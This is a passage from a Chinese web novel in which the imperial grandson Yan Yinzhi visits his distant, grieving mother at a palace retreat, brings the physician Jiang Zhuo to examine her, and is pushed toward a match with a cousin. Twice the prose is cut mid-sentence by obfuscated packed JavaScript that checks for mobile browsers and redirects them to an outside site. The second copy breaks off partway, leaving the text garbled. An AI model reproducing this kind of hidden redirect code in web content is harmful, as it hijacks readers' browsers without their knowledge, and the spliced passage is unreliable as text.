“顺便而已。”江酌扬了扬唇。 殿外还是一片沉寂,夜风渐止,连枝叶的窸窣声都淡了许多。 笼罩在天际的乌云也逐渐消散,露出夜空原本的颜色,隐隐约约的,还有几颗星星在闪烁,让严荫之不禁停下了脚步。 不远处,亭台楼阁依旧影影幢幢,却不知道是不是因为多了黯淡的天光,看起来也不再那么的阴森可怖。 尤其是那座偏殿……严荫之远远地看了一眼,随即就收回了视线,转身朝自己房间走去。 天光渐亮,行宫里逐渐热闹起来。 太孙府的侍从们进进出出,准备早膳,洒扫庭除。 虽然他们刻意放轻了声音,偶尔的响动足够惊醒素来觉浅的人——比如江酌。 他瞪着陌生的床顶愣了好一会,叹了口气,不情不愿地坐起了身。 雨后初霁。 绚烂的朝阳绽放在天际,前夜还死气沉沉的行宫仿佛突然间活了过来,楼台馆殿,熠熠生辉。 江酌站在窗边看了一会,没睡足的那点怨气慢慢消散,简单的梳洗之后,神清气爽地出了门。 “……江道长,”徐礼推开房门,正好和他打了个照面,意外后又了然,“晨起上早课?” “嗯,”江酌也不解释,“徐大人也起这么早?” “要陪殿下去向太子妃请安,”徐礼轻轻颔首,“早膳待会就好,会送到道长房里。” “多谢,”江酌点了点头,抬眸朝最深处的那间殿室看了一眼,“我去花园逛逛。” “道长自便。”徐礼点了点头,目送他一路出了院门。 不出徐礼所料,卯时的严荫之尚在睡梦之中。 但又出乎徐礼意料,这一夜这人似乎睡得格外的安稳,连被自己叫醒,也没有表现出任何的不满,只是原地怔了一会,才含含糊糊地开口:“娘已经起了?” “我让人去问了,半个时辰前就起了,正等你去一起用早膳。” 徐礼视线在他脸上稍稍停留,“你昨晚……” “睡得很好,”严荫之揉了揉眼睛,慢慢坐起身,“一点梦都没做。” “那就好。”徐礼稍稍松了口气,从床边拿了侍从提前备好的袍衫递了过去,又忍不住有些感慨,“还真是有点稀奇。” 严荫之动作微顿,随即轻轻笑了起来:“是有点。” 17.第十七章 第十七章 到底是年轻底子好,又或者是前夜确实睡得安稳,除了面色还有些苍白,梳洗一新后严荫之身上再看不出丁点病未痊愈的迹象。 因而当看见徐礼打开食盒从中端出个药碗放在桌上时,他的第一反应就是转身出门。 然后就被早有准备的徐礼拦住了去路:“先喝药。” “我已经好了,”药汁的味道扑面而来,严荫之皱了皱鼻子,“娘不是还在等我吃早膳吗?” “也不差喝碗药的工夫,”徐礼说着话,把人推回到桌前,“昨天那么痛快还以为你是长大就不怕喝药了,才好点就原形毕露。” “我昨天……”严荫之朝桌上看了一眼,转眸对上徐礼的视线,终还是不情不愿地伸出手,端起了药碗,“是强忍着。” “无非是怕病得太厉害太子妃会担心,还不知道你,”眼见他深吸一口气,皱着脸喝光了整碗药,徐礼急忙倒了盏水递过去,“这要是在府里,宁可昏睡三天都不会喝一口药。” “知道还要我喝,”严荫之连喝了几口水,终于感觉口中酸涩的味道淡了些许,神情舒缓了一点,“昨天我就想说了,这药方是谁开的,怎么能这么难喝?” “还能是谁,府里的掌医呗,你病得那么突然又急着出门,哪来得及召太医,”徐礼低头收了药碗,“不过昨天中午煎药的时候江道长瞧见了,所以现在这碗是他调过方子的。” “嗯?”严荫之微顿,指尖无意识地摩挲着水盏,“他还调过方子?” “可不是,昨天刚安顿下来就拿了个新方子给我,”徐礼回道,“说是原来的方子安神的药材太多,一味昏睡反倒不宜于恢复。” “……哦。”严荫之微垂眼眸,不知想到了什么。 徐礼看着他这副样子不由迟疑:“我看你今早恢复的还可以,那药方不会有什么问题吧?” “没有,”严荫之放下水盏,意味不明地笑了一声,而后长长地舒了口气,“走了,不能让娘等太久。” “好。”徐礼不明所以地挠了挠头,提起桌上的食盒,随手塞给了路过的侍从,小跑着跟上他的脚步。 大概是晴天的缘故,和前一日相比,整个行宫都多了几分生气。 除了太孙府的侍从们,行宫内原有的宫人们都冒了出来,在各处进出忙碌。不知名的鸟儿在远处的树丛里鸣叫,一路沿着小路向外走,甚至还瞧见了一片绚烂的榴花在枝头盛放。 “还真有榴花,”严荫之脚步微顿,远远地看了一眼,“昨晚我怎么没发现?” “发现什么?”徐礼顺着他的视线看去,不理解道,“榴花有什么稀奇的,太孙府里就种了不少,皇城的花园里更多,每天来回路过也没见你多看上一眼。” “我先前又不知道榴花还能入药。”严荫之收回视线,继续向前走去。 “还能入药吗,”徐礼原地思索了一下,几步跟到他身边,好奇道,“你是怎么知道的?” 严荫之扬了扬唇,不知想到了什么:“梦见的。” “……什么乱七八糟的。”徐礼偏过头朝他脸上看了一眼,轻挑眉头,“我还是觉得你有点不对劲。” “嗯,你觉得是就是,”严荫之话说了一半,抬眼瞧见前日的宫人迎出殿门朝自己走来,唇畔的笑意淡了下去,敛眉道,“娘等急了?” “太孙殿下,”宫人走到近前,躬身行礼,“奴婢是要去看看太子妃的药煎好没。” “去吧,时辰差不多了,别耽误了娘用药。”严荫之轻轻地吸了口气,转过脸看向徐礼,“我们进去吧。” 徐礼小心地朝他脸上看了一眼,点了点头。 殿内的陈列一如往昔。 桌案座椅、书柜木箱、镜台屏风都摆在原来的位置,没有丝毫的变动。 同样没有变动的,还有坐在桌案前的人。 其实算起来母子二人也有小半年的时间未曾见过,可是除了褪去了厚重的冬衣,再不能从秦蓁身上看出任何的变化。 尤其是那双眼睛,被声音惊动而看过来的时候没有丝毫的情绪,仿佛站在门外的并不是自己十月怀胎才生下的唯一的儿子,而是一个随随便便的宫人。 “娘。” 严荫之微垂眼帘,再抬头时眼里已经看不出任何的情绪,唇角倒是向上扯了些许,笑着跨进了门槛,躬身行了个十分规矩的礼。 “荫之来了,”秦蓁轻轻颔首,眉眼微微弯了弯,带了些许浅淡的笑意,“我让他们做了你最喜欢吃的芙蓉羹,过来吃吧。” “好。”严荫之点了点头,起身走到桌案前,在秦蓁对面坐了下来。 时隔数月,母子二人难得再在一起吃饭,却也没有多繁奢。 除了秦蓁提及的那道芙蓉羹,桌上只有几道时令的菜式外加一道糕点——无一例外,都是严荫之过往喜欢的。 显而易见的关心,却又因为每次都是这样更显得有些例行公事。 让严荫之很难再生出分毫的欣喜。 但…… “谢谢娘。”一瞬沉默后,他抬起头,朝着对面的秦蓁认真地道了谢。 秦蓁笑了笑,拿起筷子:“吃饭吧。” 行宫里侍奉的人大都是太子府的老人,知道严荫之吃饭的时候并不喜欢有人侍奉,上齐菜后便都退了下去,连带徐礼也在进门行礼后早早地离开。 一时间,偌大的殿室里只剩下了母子,却再没有人说话。 食不言,寝不语。 这是严荫之自小受到的教育,对于当下来说,未尝不是一种解脱。 他抬起头,看了眼对面视线低垂,慢条斯理地喝着粥的自家娘亲,在心底里自嘲地笑了一声,端过旁边的芙蓉羹慢吞吞地喝了起来。 稍倾后,秦蓁吃完了碗里最后一口粥。 “您吃好了?”严荫之跟着放下筷子。 “嗯。”秦蓁放下碗,抬眸看他,“有事?” “您先前的药方喝得太久了,”严荫之清了清喉咙,“我带了位神医过来,待会让他替您看看脉象, 重新换个方子。” “换来换去也都是些调养身体的补药,”秦蓁微微蹙眉,随即点头,“既然人来了,那就看吧。” “好,”严荫之笑了笑,回身看向门口,“徐礼!” “殿下稍候,”徐礼的声音响起,“我这就去请江道长过来。” “道长,”门外的脚步声渐渐远去,秦蓁顺着看了一眼,突然道,“你什么时候开始理会道士了?” “不是普通道士,江玄明的徒弟,”严荫之顿了一下,“您应该记得,当年在青州叛军围城的时候,我染上了时疫,江玄明道长正好流落在青州,皇爷爷就请了他上门替我诊治。” “我记得,当年你爹病重圣上也想过请他,”秦蓁淡淡开口,“可惜他当时不在京中。” “您……”严荫之喉头微哽,忍不住抬起头朝对面看去,发现自家娘亲依然是方才的一脸淡漠,就好像提起的只是一件无关紧要的小事。 一瞬沉默后,他收回视线,若无其事地又开了口,“这位江道长虽然年轻了些,医术确是十分高明……前段时日三皇叔重病昏迷,就是他救醒的。” “是吗?”秦蓁似乎有些意外,随即又点了点头,“不愧是江玄明的徒弟。” 说话间,殿外传来一阵极轻的脚步声。 “太子妃,殿下,”徐礼率先进门,“江道长来了。” “嗯。”秦蓁抬起眼帘,“请进来吧。” 一夜未见,江酌似乎休息的还不错。 虽然身上还穿着那件天青色的锦袍,却看得出来是仔细整理过,干净规整,依然带着淡淡的檀香气。 “江道长。”严荫之收回视线,向对面示意,“这位就是我娘。” “太孙殿下,”江酌点了点头,视线在严荫之脸上稍作停留后,转向另一边,“见过太子妃。” 秦蓁微微颔首:“今日有劳道长。” “太子妃客气了。” 江酌直起身,目光自然地落在了秦蓁脸上。 民间传闻里,有关这位太子妃的说法确实不少,大都与昭惠太子有关,或是称颂他们夫妻二人的情谊,又或是可惜天不假年让她早早的成了未亡人。 至于她本身,只说是青州望族秦家的女儿,才行品貌都鲜少有人在意,更很少有人提及,她着实是生了一张精致绝伦的脸。 难怪严荫之生得还挺好看。 这么想着,江酌忍不住转头朝严荫之脸上又看了一眼—— 母子俩在五官上倒是十分的相似。 “怎么?”严荫之察觉到他的视线,轻轻挑眉。 “没,”江酌朝他笑了一下,提了提肩上的药箱,“要是方便的话,我先替太子妃诊脉。” 严荫之点了点头,抬眼看向门口,侍立的宫人立刻进门,利落地收拾了桌案。 “好了,”严荫之转头,看向秦蓁,“娘?” “嗯。”秦蓁视线在江酌脸上短暂停留了一瞬,而后轻挽袖口,将手腕搭在了宫人奉上的脉枕上。 18.第十八章 第十八章 过往三年里,前来行宫为秦蓁请脉的医官不下十位。 其中涵盖了太医署的翘楚、民间的名家后人、更包括已经致仕在家的前太医令林老太医之类德高望重的长者。 阵势虽然没有这次元成帝为严彻求医闹得大,却也几乎劳动了都城内所有有名望的医士,所得的诊断也大差不差—— “肝气郁滞,心脾两虚。”江酌收手抬头,语气平缓。 果然。 严荫之点了点头,神色淡然地转向一旁:“徐礼。” 徐礼立刻会意,从怀里摸出一张纸,递给了江酌:“这是太子妃最近在服的方子,劳烦江道长帮忙看看。” “是有什么问题?”江酌垂下视线,朝那纸上看了一眼,又抬眸看向了严荫之。 “这方子是三月前的,时令不同,”严荫之微垂眼帘,“所以想劳烦你看看用不用改动。” “这样啊,”江酌伸手接了药方,仔细看过,“都是些疏肝解郁的药材,受时令的影响并不大,若非要改动的话……” 他抬起头,看向安静地坐在一旁,一脸淡漠地仿佛一切都和自己没有关系的秦蓁,“近日天热,太子妃怕是难得安眠,可以稍添几味安神的药。” “难得安眠?”严荫之微微蹙起眉,目光转向秦蓁。 “是有点睡不好,每年到了这几天都是这样,添几味安神的药也好,”秦蓁淡淡道,“那就劳烦江道长了。” “太子妃客气了,”江酌抬眼,视线停在严荫之脸上,“太孙殿下?” “……知道了,”严荫之微垂眼帘,再抬头时神情又恢复了平和,甚至带了点笑意,“你是大夫,自然听你的。” “好,”江酌回手去拿药箱,“那我现在……” “方子道长回去慢慢写就好,”话还未说完,秦蓁突然开口,一双眼一眨不眨地看着江酌,“辰时了,我该诵经了。” “那我就不打扰太子妃了。”一瞬诧异后,江酌轻轻颔首,从善如流,“待方子开好我会交给徐大人。” “有劳。”秦蓁点头,转眸看向严荫之,“那你……” “我也先回去了,”严荫之站起身,躬身施了一礼,“晌午再过来陪您用膳。” “不用了,”秦蓁想了想,“忌辰在即,你应该有不少事要料理,忙完再过来吧。” “……也好,”严荫之转过身,看向已经背好药箱的江酌,“那就走吧。” 江酌安静地看了他一会,点了点头。 辰时整,阳光明媚,却因为山间草木兴盛,并不会觉得炎热。 甚至还有晨风轻拂在脸上,让严荫之忍不住长长地舒了口气。 回转视线,正对上一道满是探究和考量的目光。 “看起来……”严荫之挥了挥手,示意徐礼和侍从们先行离开,自己慢下脚步,看着一路上一直若有所思地看着自己的人,轻轻挑眉,“江道长很困惑我为何要专程请你来?” “是,”江酌点头,“郁结之症古来常见,太医们还不至于看不出来,还是说,殿下希望我能做出别的诊断?” “不知道,”严荫之低低笑了一声,语带嘲弄,“可能我只是想尽尽为人子的本分。” “本分自然该尽,殿下却也该知道……”江酌转眸看他,“心病还须心药医。” “知道又怎样呢,”严荫之轻哼,“这世上又没有……” “我说的是殿下的心病。”江酌突然道。 严荫之整个一怔。 “我?”一瞬后,他回过神来,轻轻抬眉,“当朝皇太孙金枝玉叶、娇生惯养,我要是都有心病,天下人还怎么活?” “谁知道呢,个人总有个人的活法。” 说话间走到了前夜的院落,自己的殿室近在眼前,江酌停下脚步,朝着严荫之略微颔首,“那我就先回去了……太孙殿下今天的方子,我也会一并送给徐大人。” “好,”严荫之张了张嘴,最后只道,“有劳。” “顺便而已。”江酌笑了笑,转身进门。 “又这样……” 关门声响,严荫之微微睁大了眼睛,随即笑着摇了摇头,向自己房间走去。 一如秦蓁所说,严荫之这会确实有不少事要料理——此次来行宫,原本就是因为过两天的忌辰而顺路。 因为昭惠太子生前不喜铺张,这两年的忌辰也都尽可能的从简,只行家祭,却也有许多的流程和事项要提前准备。 虽然有礼部联合太常寺等各部筹划安排,作为皇太孙,严荫之也需要一一确认省览。 因而一大早,礼部侍郎及太常寺卿等几位大人就从皇陵赶了过来,现下正候在他房中。 倒也好,有事做就能忘却很多不该想起的东西。 这么想着,他脚步轻快了几分,进门的那一瞬甚至难得的露出了一点平日少见的温和笑容。 然后就这么一直忙到了午后。 “殿下!” 几位大人刚走,徐礼就脚步匆匆地进了门。 “渴死我了,”严荫之伸手倒了盏茶,连喝了几口才抬头,“不是去取午膳吗,怎么空手回来了?” “还午膳呢,我刚走到花园……”徐礼在对面坐下,长舒了口气,“你猜我看见谁了?” “大晌午的能看见谁,”严荫之另倒了盏茶,推到他跟前,“总不会是我爹?” “……胡说八道什么,”徐礼喝了口茶,“秦将军来了,正陪着太子妃在亭子里乘凉,旁边还有一个没见过的姑娘。” “姑娘?”严荫之轻挑眉。 “嗯,年岁不大,侧坐着没看清脸,”徐礼放下茶盏,“秦将军瞧见了礼部侍郎他们离开,所以问我你现在有没有闲暇,过去一起说说话。” “说话……”严荫之轻笑,“我这个舅舅,动作倒是挺快,前几天还只是幅画,现在人都带来了。” “事关太孙妃位,他当然上心,”徐礼撇了撇嘴,“那现在怎么办,让人去传话说你没空闲?” “你以为他为什么把人带到行宫来?”严荫之抬手喝光最后一口茶,“当着我娘的面,我总要去表现一下甥舅情深。” “行吧,”徐礼叹了口气,“那还是老规矩,你一个人去,待会我派人去叫你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569710|203349||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>“嗯。”严荫之点了点头,理了理衣摆,起身出了门。 正晌午,烈日当头。 太孙府的侍从们值守的值守,休整的休整,整个院子静悄悄的不见人影……包括最外面的那间殿室。 看来只有自己最不得闲。 严荫之顺着半敞的窗子又向里看了一眼,拖着脚步继续向外走去。 “荫之来了!” 刚绕过假山,还没瞧见人影,一道热切的男声先传了过来。 “这么热的天,为难舅舅大老远的过来。”严荫之抬起头,微微扬了扬唇,走进亭子,朝着坐在正中的秦蓁施了一礼,“娘。” “嗯,”秦蓁抬眸看他,“事务都忙完了?” “忙完了,”严荫之回身靠到旁边的围栏上,“听说舅舅来了,就赶忙过来了。” 秦蓁点了点头,没有再说话。 “我也是许久没见你娘了,心里记挂,”秦业适时开口,“正好带你表妹来向她请安。” “表妹?”严荫之露出几分恰到好处的讶异,转过眼眸,好像刚注意到下位还坐着个人,“这位?” “是临州你表舅家的,”秦业朝着那女子抬了抬头,“婵儿,这位就是你表兄了。” 女子立时起身,朝着严荫之行了一礼:“叶婵见过太孙殿下。” “不都说是表兄妹了嘛,”严荫之微抬眸,视线在她脸上停留了一瞬,似笑非笑,“不用这么多礼。” “就是,都是自家亲戚,”秦业笑着应声,“要不是你表舅前些年去了临州赴任,你和婵儿说不定还是一起长大的呢,是吧,阿姐?” “嗯。”秦蓁不置可否地应了一声,目光扫过叶婵,最后又看向严荫之。 严荫之轻轻抬眼:“娘有话要说?” “没有,”秦蓁收回视线,转眸向天上看了一眼,“时辰到了,我该午睡了。” “我一路过来折腾累了,也去歇一会,”秦业冲着叶婵抬了抬下颌,“婵儿第一次到行宫来,让荫之带你逛逛。” 叶婵似乎有些犹豫,微皱着眉头:“我……” “好啊,”严荫之应声道,“那就劳烦舅舅替我送娘回去了。” “那是自然,”秦业脸上立刻漾出笑容,朝着秦蓁伸出手,“走吧,阿姐。” 秦蓁垂下眼帘,目光在他手上停留了一瞬,扶着石桌站起了身。 “叶姑娘。” 一众宫人跟着秦蓁姐弟一并退了下去,一时间整个亭子里只剩下了素不相识的两个人。 严荫之直起身,看着自己这位“表妹”,“烈日炎炎,想去哪逛?” 叶婵敏感地察觉到他称呼上的变化,顿了一下才开口:“其实我也不想逛。” “哦?那正好,”严荫之轻挑眉,“我……” “太孙殿下!” 一阵极轻的脚步声后,一道清瘦的身影不知从哪冒了出来,视线从两人身上扫过后,淡淡地开了口,“现在有空闲吗,我有些事想要和您说。” “好啊,”严荫之微微睁大了眼睛,目光在来人脸上停留了一会,慢慢漾出了笑意,“江道长。” 19.第十九章 第十九章 正值春末夏初,花园里草木繁盛,绿意盎然。 五颜六色的花朵经过精心的照料,勤勤恳恳地在枝头盛放,绚烂非常。 却都不如眼前这个道士。 他穿着件颇为素雅的天青色锦袍,仿佛一支青翠的嫩竹,在群芳竞艳间轻而易举地吸引了叶婵的注目。 旁边传来一声突兀的轻咳。 叶婵回过头,正迎上严荫之的视线。 “叶姑娘,”他似乎皱了下眉,开口时又恢复如常,“一路奔波你也该累了,我让人送你去休息。” “不用劳烦,我自己回去就好。”叶婵轻轻颔首,行了一礼,抬眼时不自觉地又看向另一边。 察觉到她的视线,江酌有一瞬的疑惑,随即轻轻扬唇,礼貌开口:“打扰了。” “没……”叶婵顿了一下,迎着那双好看却写满了疏离的眼睛,一时不知道还能说些什么,最后只点了点头算作还礼,缓缓起身离开了亭子。 “江道长还真是……” 江酌站在原地,一路看着那个年轻的姑娘消失在视野里,才回过头,然后就听见了这句意味不明的感慨,微抬眉眼,慢悠悠地走进亭子:“殿下是想要感谢我为你解围?” 严荫之靠回围栏上:“看来道长看了很久热闹。” “天气炎热,我在那儿乘凉来着,然后那位秦将军……应该是殿下的舅舅,就带了人过来,”江酌自顾坐到石桌前,指了指不远处荷花池畔的假山,“无意偷听,实在抱歉。” “怪不得……”严荫之伸了个懒腰,“没什么可抱歉的,也不是什么见不得人的事。” “这倒是,”江酌拿起石桌上的茶壶,替自己倒了一盏,“知慕少艾,人之常情。” “知慕少艾……”严荫之仿佛听到什么好笑的事情,嘲弄地勾了勾唇,“我们刚可是话都没说上几句,道长从哪看出来的?” “没有吗,”江酌慢条斯理地喝了口茶,“我是觉得那位叶姑娘韶华之年,容貌出众,与太孙殿下正相配。” 正相配? 严荫之挑了挑眉。 因为知晓自家舅舅的用意,对那位八竿子打不着的表妹他方才并没有太多的关注,现下回想起来,好像确是年轻貌美——不然秦业也不会费尽周章的把人从临州请来。 不过当这种夸赞的话从面前这人口中说出的时候…… 严荫之微垂视线,看向几步外那张让容貌出众的叶婵都很难移开视线的脸,好一会,缓缓开了口:“照道长这么说,光是都城里与我相配的千金就不少,难道我要都娶了?” “殿下要是想,应该也能做到,”江酌放下茶盏,单手托腮,“不过我以为,殿下更想亲上加亲。” “嗯?”严荫之微眯起眼睛,迎上对方看过来的视线,轻轻哼了一声,“那道长就看错了,需要亲上加亲才能维持自己地位的只有秦家。” “也是……” 四目相对,江酌的目光没有丝毫的闪躲,甚至抽空将围栏前的人从上到下地扫量了一遍,“说起来,就算刨除太孙身份,殿下也是年少英俊,不知道有多少世家小姐巴不得要结亲呢。” 严荫之轻轻蹙眉:“道长这是在嘲笑我?” “没有,”江酌弯了弯眼睛,语气诚恳,“真心话。” “算了吧,”严荫之撇了撇嘴,“别说世家小姐了,就刚刚我那远房表妹,都明显对我没有多少意思,也就我舅舅……一如既往的自以为是而已。” 说着话,他瞧见对面的人又端起茶盏喝了起来,想了想,也走到石桌前坐了下来。 “你……” 江酌放下茶盏,正迎上一道眼巴巴的视线,微微迟疑了一下,最后十分贴心地拿起茶壶,又倒了盏茶递了过去。 “多谢。”严荫之果然弯了弯眼睛,伸手接了茶盏,一脸满足地喝了起来。 江酌看了他一会,也低头喝了一口。 这是先前宫人拿来招待秦业的茶,已经放了有一会,虽然还带着温吞的热意,也有可能是因为午后的炎热。 再加上茶本就不是什么上品,自然也不会有多好喝,眼前这人却难得只在入口的时候轻轻皱了下眉,然后就无事发生一样大口地喝了下去。 倒是和那天马车上一脸嫌弃的样子判若两人。 江酌勾了勾唇。 其实他方才说的是真心话。 因为继承了那位出尘绝世的娘亲的容貌,这位太孙殿下着实是生的英俊,也确实是年少——虽然因为城府太深这点常常被忽视。 再加上由中书令徐孝亲自传授的学识,据说自幼跟随昭惠太子学习过骑射兵法,还有肆意妄为意气张扬的秉性,就算刨除了太孙的身份,也还是会有不少的世家小姐愿意主动结亲。 至于刚刚那位叶姑娘…… “或许是因为,她没办法刨除殿下的太孙身份。”江酌突然开口。 “什么?”严荫之愣了愣,很快回过神来,明白了对方在说什么,点了点头,“我知道,好端端的谁乐意当个工具呢。就是不知道是我那位在临州蹉跎了十多年不得升迁的表舅的意愿,还是我那亲舅舅的一厢情愿。” “反正都改变不了殿下的决定,”江酌顿了顿,“对那位叶姑娘来说,倒是大相径庭。” “那倒是,”严荫之摩挲着茶盏,“江道长对我那表妹倒是难得关切。” “关切算不上,”江酌淡然一笑,“殿下还是不了解我,对于幼小又无害的人我一向和善。” “是吗,那我倒是确实不清楚,”严荫之思索了一下,“可能因为江道长第一次见我的时候实在是冷淡。” “殿下的记性应该也不太好,只能想起别人的态度,”江酌轻抬眼,一眨不眨地看着对面的人,“记不住自己的。” “我……”严荫之轻咳了一声,伸手拿过桌上的茶壶,替江酌斟满了茶盏,“道长喝茶。” 江酌弯了弯眼睛:“有劳殿下。” 迎着那双包含笑意的眸子,严荫之也不自觉地跟着扬起了唇,端起茶盏浅浅喝了一口。 并不算愉快的第一次见面就这样在一盏茶间悄无声息地掀了过去。 一时之间无人再说话,隐藏在树间的蝉鸣倒是愈发的清晰。 听得人不自觉地就生起了困意。 江酌放下茶盏,掩唇打了个呵欠。 “道长这是困了?”严荫之抬眼看他,“听说你卯时就起了,午间怎么不睡会?” “睡不着,”江酌半趴到石桌上,不知道是不是因为困倦,声音懒洋洋的,“殿下有所不知,我这人矫情的很,有声响会被吵醒,有光亮也难入眠,所以轻易不做这种没用的尝试。” 严荫之轻轻皱眉:“那你这些年在外云游,岂不是想睡个好觉都难?” “那倒也不是,人嘛,只要累得狠了就什么毛病都没了,”江酌思忖着,声音也轻了几分,“而且很奇怪,有时候越是到市井间,我反倒越能觉得安心。” “是吗?”严荫之想起前一天经过的长乐坊,蒙蒙烟雨中也带了皇城周遭没有的生机,“怪不得青云观选在了坊市间。” “那倒不是我选的,是我师父……他一向喜欢热闹,”江酌说着,声音里带了笑意,“而且就他那四体不勤五谷不分的性子,也就在市井间才不会被饿死。” “你怎么……”严荫之垂眸看他,声音里带了笑意,“如此诋毁自己的师父?” “实话实说也算是诋毁?”江酌抬起头,“殿下小时候不是见过他,还是也被那副出尘绝世的表象骗了?” “我……江玄明道长确实异于常人,”严荫之顿了一瞬,忍不住也笑了起来,“当年我身染时疫难受至极,死活都不愿意吃药,他在旁边看着也不劝,直接就让人去准备棺木。” “看吧,我就说他是那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严荫之转过头,看见了假山后探头探脑的徐礼,点了点头:“还是多谢道长帮我解围。” 江酌轻轻挑眉,不置可否地笑了一声,起身出了亭子,慢慢地走远。 “殿下,”另一边,徐礼从假山后踱了过来,有些奇怪地看着还盯着别人背影不肯转回视线的严荫之,“想什么呢?” “嗯?”严荫之舒了口气,回转视线,“怎么这会儿才过来?” “早就来了,这不是瞧见你跟江道长聊得正开怀吗,”徐礼倚在石桌上,看着桌上空着的茶盏,有些好奇,“难得见你和一个道士这么相熟……不过这江道长也确实不是凡人。” “不是凡人……”严荫之若有所思地点了点头,“先前让你去查他,怎么样了?” “谁?哦,”徐礼想了想,“我让人去青云观周边打听了,这位江道长确是乾州人士,当年叱兰入侵,他和家人失散被江玄明道长收养,带回了青云观。” “嗯,”严荫之思索了一会,“那之后战乱平息,他也没去找自己家人?” “找了吧,但是哪儿那么容易。你可别忘了,当时叱兰也是因为康王谋反才趁虚而入的,”徐礼说着,有些感慨,“当时连青州都被叛军围了,乾州逃出来的那些人……怕是也都凶多吉少。” “……也是。”严荫之沉默了一下,“除了这些,还有别的吗?” “有也不多,自江玄明道长去世后,青云观就愈发衰落,到现在周遭好多人都不知道那巷子里还有所道观,我也是费了好大工夫才找到了一个当年在那儿修行的老居士的后人,问到的也都是些我们本来就知道的,什么江道长道法不精但医术精湛,还有十几岁开始在外云游……” 徐礼顿了顿,“哦,我还去翻了他进城的记录,过去半年他一直在安州……派去安州打探的人虽然还没回来,应该也没什么问题。”